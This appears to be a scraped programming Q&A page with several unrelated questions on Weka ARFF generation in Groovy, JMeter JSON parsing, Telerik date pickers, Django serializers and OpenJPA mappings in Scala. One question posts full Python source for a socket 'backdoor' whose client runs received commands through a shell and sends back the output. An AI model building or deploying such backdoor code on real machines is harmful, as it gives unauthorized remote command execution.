nominal value not declared in header - artificial-intelligence

I'm generating a arff file with groovy from a xslx,
but when i try to open this file in weka i got this error:
File "..." not recognised as an 'Arff data files' file.
Reason:
nominal value not declared in header, read Token[Ativo], line 16
i can't understand why i'm getting this error
can someone helpme to fix this error, and explain why it's happening?
Generated file
#relation kd-itempedido
#attribute tipopedido {Assistencia,Recompra,Venda,Troca}
#attribute aprovado {0.0,1.0}
#attribute fasepedido {Aprovado,Cancelado,EmAprovacao,Liberado,Novo}
#attribute statusinternopedido {NegociarPagamento,PedidosDeTeste,AguardandoOcorrencia,Nada,AguardandoBoletoDeposito,PedidoDuplicado,SuspeitaDeFraude}
#attribute canal {Marketplace,Desktop}
#attribute origem {LojasAmericanas,Optimise,MercadoLivre,Cityads,Zanox,Zoom,Rakuten,Lomadee,Facebook,Viptarget,Submarino,Criteo,Muccashop,Chaordic,Walmart,Googlead,Nada,Extra,Lojaskd,Shopback,Afilio,Shoptime,Nextperformance,CarrinhoAbandonado,Bing}
#attribute mercado {S,N}
#attribute cluster {EntregaImediata,Fiprec,Icconv,Esgotado}
#attribute statusitem {Ativo}
#attribute statusproduto {Inativo,Ativo,AtivoSemEstoque,ForaDeLinha}
#attribute polo {Polo1,Polo3,Polo2}
#data
Venda,0.0,Novo,Nada,Desktop,Googlead,S,Fiprec,Ativo,Ativo,Polo2
Venda,0.0,Novo,Nada,Desktop,Googlead,S,Fiprec,Ativo,Ativo,Polo2
Venda,0.0,Novo,Nada,Desktop,Googlead,S,Ativo,Inativo,Polo2
Venda,0.0,Novo,Nada,Desktop,Muccashop,N,Ativo,Ativo,Polo3
Groovy (VM -Dfile.encoding=ascii utf-8 utf8)
#Grapes([
#Grab('org.apache.poi:poi:3.10.1'),
#Grab('org.apache.poi:poi-ooxml:3.10.1')])
import org.apache.poi.xssf.usermodel.XSSFWorkbook
import java.text.Normalizer
import static org.apache.poi.ss.usermodel.Cell.*
import java.nio.file.Paths
def path = "/home/eric/Documents/development/ufpr/Solid Eric/ItemPedido1000.xlsx"
def relation = "kd-itempedido"
def columns = ["tipopedido", "aprovado", "fasepedido", "statusinternopedido", "canal", "origem", "mercado", "cluster", "statusitem","statusproduto", "polo"]
def arff = "ItemPedido.arff"
new XslxToArffParser(path, relation, columns, arff);
class Data{
def rows = new ArrayList<List>();
#Override
String toString() {
def s = ""
for (r in rows){
for(d in r){
s+=d
if(r.indexOf(d) < (r.size()-1))
s+=","
}
s+="\n"
}
return s
}
}
class Atributo {
def descricao;
def possibilidades = new HashSet<Object>();
def index;
#Override
String toString() {
def builder = new StringBuilder()
builder.append("#attribute ").append(descricao)
builder.append(" {")
for(def i = 0; i<possibilidades.size(); i++){
builder.append(possibilidades[i])
if((i+1) != possibilidades.size())
builder.append(",")
}
builder.append("}").append("\n")
return builder.toString();
}
}
class XslxToArffParser {
def attributes =[:];
def data = new Data();
def sheet = null;
XslxToArffParser(path, relation, columns, arffPath){
load(path)
getAttributes(columns)
collectData()
saveArff(relation, arffPath)
}
def String parse(String s){
s = Normalizer.normalize(s, Normalizer.Form.NFD)
s = s.replaceAll("[\\p{InCombiningDiacriticalMarks}]", "")
s = s.split(/[^\w]/).collect { it.toLowerCase().capitalize() }.join("")
s = s.replaceAll(" ", "")
s = s.replaceAll("[^A-Za-z0-9]", "")
s = s.isEmpty() ? "Nada" : s
return s
}
def load(path) {
Paths.get(path).withInputStream { input ->
def workbook = new XSSFWorkbook(input)
sheet = workbook.getSheetAt(0)
}
}
def getAttributes(columns){
for (cell in sheet.getRow(0).cellIterator()) {
def index = cell.columnIndex
def description = parse(cell.stringCellValue).toLowerCase()
if(columns.contains(description)){
attributes << [(index):new Atributo(descricao: description, index: index)]
}
}
}
def collectData(){
def headerFlag = true
for (row in sheet.rowIterator()) {
if (headerFlag) {
headerFlag = false
continue
}
def r = []
for (cell in row.cellIterator()) {
def index = cell.columnIndex;
def value = cell.cellType == CELL_TYPE_STRING ? parse(cell.stringCellValue) : cell.numericCellValue
def attr = attributes[index]
if(attr != null){
attr.possibilidades.add(value)
r << value
}
}
data.rows.add(r)
}
}
def saveArff(relation, path){
Paths.get(path).withWriter { writer ->
writer.write "#relation " + relation
writer.write "\n"
for(a in attributes.values())
writer.write a.toString()
writer.write "#data"
writer.write "\n"
writer.write data.toString()
}
}
}
Solved. "row.cellIterator()" does not iterate over null/blank cells

It has been a while since I used Weka, but looking at the file you showed and the error message, I suspect the problem is in the last two rows of the data file. They don't have a value for the attribute "cluster".
After the S or N (for attribute "mercado"), they have "Ativo". That "Ativo" value is not defined as one of the possible values of the nominal attribute cluster. The file did read "Ativo" though (which is why the error message says ''read Token[Ativo]'', but it expected to read a value for the cluster attribute, it did not yet expect a value for the statusitem attribute.

Related

How to parse array values from Json in Jmeter

For the below response I need to fetch the rideId and pass it to the next request in Jmeter.Also ,the API that generates below response should be executed until the eventType is HANDSHAKE.
[{"id":90856,"eventType":"HANDSHAKE","parameters":"{\"handshakeExpiration\":1669217518986,\"rideId\":3107}"}]
I am using the code :
import groovy.json.JsonSlurper;
def jsonSlurper=new JsonSlurper();
def apiDetailsArr=jsonSlurper.parse(prev.getResponseData())
def apiDetails=apiDetailsArr.size()>0?apiDetailsArr.get(0):null
def shouldRun = "1"
if(apiDetails!=null)
{
log.info("details",apiDetails.eventType+"")
if(apiDetails.eventType="HANDSHAKE"){
shouldRun="0"
}
def object=jsonSlurper.parseText(apiDetails.parameters)
log.info("xyz",object+"")
def id=object.rideId;
log.info("id",id+"")
vars.put("id", id+"")
}
else{
shouldRun="1"`enter code here`
}
`Condition for while controller : `${__javaScript( "${shouldRun}" != "0",)}``
All your log.info function calls cause syntax errors, you can see it yourself in (surprise!) the jmeter.log file
I fail to see where you're assigning shouldRun JMeter Variable which is used in the While Controller
Suggested code change:
import groovy.json.JsonSlurper;
def jsonSlurper = new JsonSlurper();
def apiDetailsArr = jsonSlurper.parse(prev.getResponseData())
def apiDetails = apiDetailsArr.size() > 0 ? apiDetailsArr.get(0) : null
def shouldRun = "1"
if (apiDetails != null) {
log.info("details", apiDetails.eventType + "")
if (apiDetails.eventType = "HANDSHAKE") {
shouldRun = "0"
}
def object = jsonSlurper.parseText(apiDetails.parameters)
log.info("xyz" + object)
def id = object.rideId;
log.info("id" + id)
vars.put("id", id as String)
} else {
shouldRun = "1"
}
vars.put("shouldRun", shouldRun)
More information on Groovy scripting in JMeter: Apache Groovy: What Is Groovy Used For?

Socket Serialization Error , a bytes-like object is required, not 'str'

I tried Encoding but is not working can anyone help me with the serialization in python3 a bytes-like object is required, not 'str'
#!/usr/bin/python3
import socket
import json
import pickle
class Listener:
def __init__(self,ip,port):
listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
listener.bind((ip,port))
listener.listen(0)
print("[+] Waiting for Incoming Connection")
self.connection,address = listener.accept()
print(("[+] Got a Connection from " + str(address)))
def serialize_send(self, data):
data_send = json.dumps(data)
return self.connection.send(data_send)
def serialize_receive(self):
json_dataX = ""
while True:
try:
# #json_data = json_data + self.connection.recv(1024)
# data = self.connection.recv(1024).decode("utf-8", errors="ignore")
# json_data = json_data + data
# return json.loads(json_data)
json_data = bytes(json_dataX, 'utf-8')+ self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_remotely(self,command):
self.serialize_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.serialize_receive()
def run(self):
while True:
comX = input(">> : ")
command = comX.split(" ")
try:
sys_command = str(command[0])
result = self.execute_remotely(sys_command)
except Exception as errorX:
result = errorX
print(result)
my_backdoor = Listener("localhost",1234)
my_backdoor.run()
Client Code
#!/usr/bin/python3
import socket
import subprocess
import json
import pickle
class Backdoor:
def __init__(self,ip,port):
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.connection.connect(("localhost",1234))
def serialize_send(self,data):
json_data = json.dumps(data)
self.connection.send(json_data)
def serialize_receive(self):
json_dataX = ""
while True:
try:
#conn_Recv = self.connection.recv(1024)
#data = self.connection.recv(1024).decode("utf-8", errors="ignore")
#json_data = json_dataX + data
json_data = bytes(json_dataX, 'utf-8') + self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_system_commmand(self,command):
return subprocess.check_output(command,shell=True)
def run(self):
while True:
commandx = self.serialize_receive()
command = commandx
try:
if command[0] == "exit":
self.connection.close()
exit()
else:
command_result = self.execute_system_commmand(command)
except Exception:
command_result = "[-] Unknown Execution."
self.serialize_send(command_result)
my_backdoor = Backdoor("localhost",1234)
my_backdoor.run()

How to select date from Telerik (kendo) date picker

I am having problem selecting a specific day in the pickDay() method. When I specify 4, it keeps selecting 1. When println date[DAY_OF_MONTH] it prints out 4.
I'm calling it with this keyword :-
CustomKeywords.'custom.keywords.RadDatePicker.pickDate'('Object
Repository/Telerik/RadDateLightWeightPage/img_CalendarPopupButton',
'06/04/2019')
class RadDatePicker {
Date date;
String obj;
RadDatePicker() {
}
RadDatePicker(String object, String input_date) {
this.obj = object;
date = new Date().parse("MM/dd/yyyy", input_date)
}
def openCalendar() {...}
def displayMonth() {...}
def displayYear() {...}
def displayDate() {
return new Date().parse("MMM/yyyy", displayMonth() + "/" + displayYear())
}
def pickYear(){...}
def pickMonth(){...}
def pickDay() {
println date[DAY_OF_MONTH]
WebUI.click(findTestObject('Object Repository/Telerik/RadDateLightWeightPage/a_dayPicker', [('day') : date[DAY_OF_MONTH]]))
}
def pickDate() {
pickYear()
pickMonth()
pickDay()
}
#Keyword
def pickDate(String obj, String date) {
def pick = new RadDatePicker(obj, date)
pick.openCalendar()
pick.pickDate()
}
}
Here is the calendar and the HTML
calendar
html
I found a way around it by implementing WebDriver and looking for the specific xpath that contained the day I was looking for, here's the code
def pickDay() {
WebDriver driver = DriverFactory.getWebDriver();;
WebElement datepicker = driver.findElement(By.xpath("//*[#id='ctl00_cphContent_RadDatePicker1_calendar_Top']"));
datepicker.findElement(By.xpath("//*[(text()=" + date[DAY_OF_MONTH] + ")]")).click();
}

Function does't add data to model(via serializer)

Here is function I wrote, it checks field called 'url' inside 'Url1' Model and continues IF it's empty.
def mozs():
getids = Url1.objects.values_list('id', flat=True)
for id in getids:
if Url1.objects.get(id=id).pda == None:
authorities= {"pda": 58.26193857945012, "upa": 36.56733779379807}
authorities['keyword'] = id
serializer = MozSerializer(data=authorities)
if serializer.is_valid():
serializer.save()
print "For %d we added %s" % (id, authorities)
Here is output:
For 37 we added {'keyword': 37, 'pda': 58.26193857945012, 'upa': 36.56733779379807}
But it doesn't add it. Here is serializer:
class MozSerializer(serializers.Serializer):
keyword = serializers.PrimaryKeyRelatedField(queryset=KW.objects.all())
pda = serializers.FloatField()
upa = serializers.FloatField()
def save(self):
keyword = self.validated_data['keyword']
pda = self.validated_data['pda']
upa = self.validated_data['upa']
Url1.objects.update(pda=pda, upa=upa)

JPA question (Scala using)

OpenJPA and Scala question.
There are 2 tables in database (h2) - tasks and taskLists.
TaskList contains collection ArrayList.
Each TaskList can contain tasks from another TaskLists
When taskX modified in TaskList1 it have to be modified in TaskList2, if it contains taskX.
How to implement this?
I can add new task to task list and save it to DB, but when I try to add taskX from TaskList1 tasks collection to TaskList2 tasks collection and persist it, taskX is not persisted in db.
Example:
1. Adding task1 to taskList1 and task2 to taskList2 will result:
TaskList1: [task1]
TaskList2: [task2]
2. Adding task2 to taskList1 will result:
TaskList1: [task1]
3. Adding task3 to taskList1 and task4 to taskList2 will result:
TaskList1: [task1, task3]
TaskList2: [task2, task4]
What is wrong?
Task class:
import _root_.javax.persistence._
import org.apache.openjpa.persistence._
#Entity
#Table(name="tasks")
#ManyToMany
class CTask (name: String) {
def this() = this("new task")
#Id
#GeneratedValue(strategy=GenerationType.IDENTITY)
#Column(unique = true, nullable = false)
var id: Int = _
var title: String = name
def getId = id
def getTitle = title
def setTitle(titleToBeSet: String) = title = titleToBeSet
override def toString: String = title
}
TaskList class:
import _root_.javax.persistence._
import _root_.java.util.ArrayList
import org.apache.openjpa.persistence._
#Entity
#Table(name="tasklists")
class CTaskList(titleText: String) {
#Id
#GeneratedValue(strategy=GenerationType.IDENTITY)
#Column(unique = true, nullable = false)
var id: Int = _
#Column(nullable = false)
var title: String = titleText
#ManyToMany
var tasks: ArrayList[CTask] = _;
var tags: String = ""
var rank: Int = 0
def getTasks = tasks
def this() = this("new task list")
def createTasks: ArrayList[CTask] = {
tasks = new ArrayList[CTask]
tasks
}
def getID = id
def getTags = tags
def setTags(tagsParam: String) = tags = tagsParam
def getRank = rank
def setRank(rankParam: Int) = rank = rankParam
def getTitle: String = title
def getTaskById(index: Int): CTask = {
null
}
def equals(anotherTaskList: CTaskList): Boolean = {
if (anotherTaskList == null) return false
if (anotherTaskList.getTasks == null)
return id == anotherTaskList.getID && title == anotherTaskList.getTitle && tags == anotherTaskList.getTags && rank == anotherTaskList.getRank && tasks == null;
else
return id == anotherTaskList.getID && title == anotherTaskList.getTitle && tags == anotherTaskList.getTags && rank == anotherTaskList.getRank && tasks != null && tasks.size == anotherTaskList.getTasks.size
}
def addTask(taskToBeAdded: CTask): Int = {
if (tasks == null)
tasks = new ArrayList[CTask]
tasks.add(taskToBeAdded)
tasks.indexOf(taskToBeAdded)}
def printTasks = println("TaskList's " + this + " tasks: " + tasks)
}
As far as I know, Many-To-Many association (as specified in your mapping annotations) implies association table between two entities (i.e. #JoinTable annotation should be specified).

Resources